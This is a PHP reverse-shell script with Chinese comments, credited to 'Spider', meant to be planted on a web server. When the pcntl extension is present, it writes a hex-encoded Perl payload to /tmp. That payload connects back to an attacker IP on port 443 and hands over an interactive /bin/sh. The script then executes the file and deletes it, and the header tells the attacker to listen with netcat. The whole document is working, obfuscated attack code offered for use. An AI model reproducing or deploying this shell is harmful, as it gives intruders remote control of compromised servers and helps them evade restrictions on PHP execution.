php-pcntl_exec反弹脚本
<?php/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/
$ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>
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